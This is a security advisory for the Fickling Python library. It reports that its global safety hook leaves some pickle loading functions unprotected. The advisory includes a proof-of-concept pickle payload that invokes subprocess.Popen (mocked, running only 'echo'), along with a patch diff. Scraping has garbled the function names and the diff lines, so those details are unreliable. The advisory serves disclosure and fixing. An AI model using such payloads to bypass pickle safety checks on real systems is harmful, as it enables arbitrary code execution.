PT-2026-25526 · Pypi · Fickling
Published
2026-03-04
·
Updated
2026-03-04
CVSS v4.0
8.9
High
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P |
Assessment
The missing pickle entrypoints
pickle.loads, pickle.loads, and pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.Original report
Summary
fickling.always check safety() does not hook all pickle entry points. pickle.loads, pickle.loads, and pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.Affected versions
<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)Non-duplication check against published Fickling GHSAs
No published advisory covers hook-coverage bypass in
run hook().
Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.Root cause
run hook() patches only:pickle.loadpickle.Unpicklerpickle.Unpickler
It does not patch:
pickle.loadspickle.loadpickle.loads
Reproduction (clean upstream)
python
import io, pickle, pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError
class Payload:
def reduce (self):
import subprocess
return (subprocess.Popen, (['echo','BYPASS'],))
data = pickle.dumps(Payload())
fickling.always check safety()
# Bypass path
with patch('subprocess.Popen') as popen mock:
pickle.loads(data)
print('bypass sink called?', popen mock.called) # True
# Control path is blocked
with patch('subprocess.Popen') as popen mock:
try:
pickle.load(io.BytesIO(data))
except UnsafeFileError:
pass
print('blocked sink called?', popen mock.called) # FalseObserved on vulnerable code:
pickle.loadsexecutes payloadpickle.loadis blocked
Minimal patch diff
diff
--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
def run hook():
- pickle.load = loader.load
+ pickle.load = loader.load
+ pickle.load = loader.load
+ pickle.loads = loader.loads
+ pickle.loads = loader.loadsValidation after patch
pickle.loads,pickle.loads, andpickle.loadall raiseUnsafeFileError- sink not called in any path
Regression tests added locally:
test run hook blocks pickle loadstest run hook blocks pickle load and loadsintest/test security regressions 20260303.py
Impact
High-confidence runtime protection bypass for applications that trust
always check safety() as global guard.Fix
Protection Mechanism Failure
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Fickling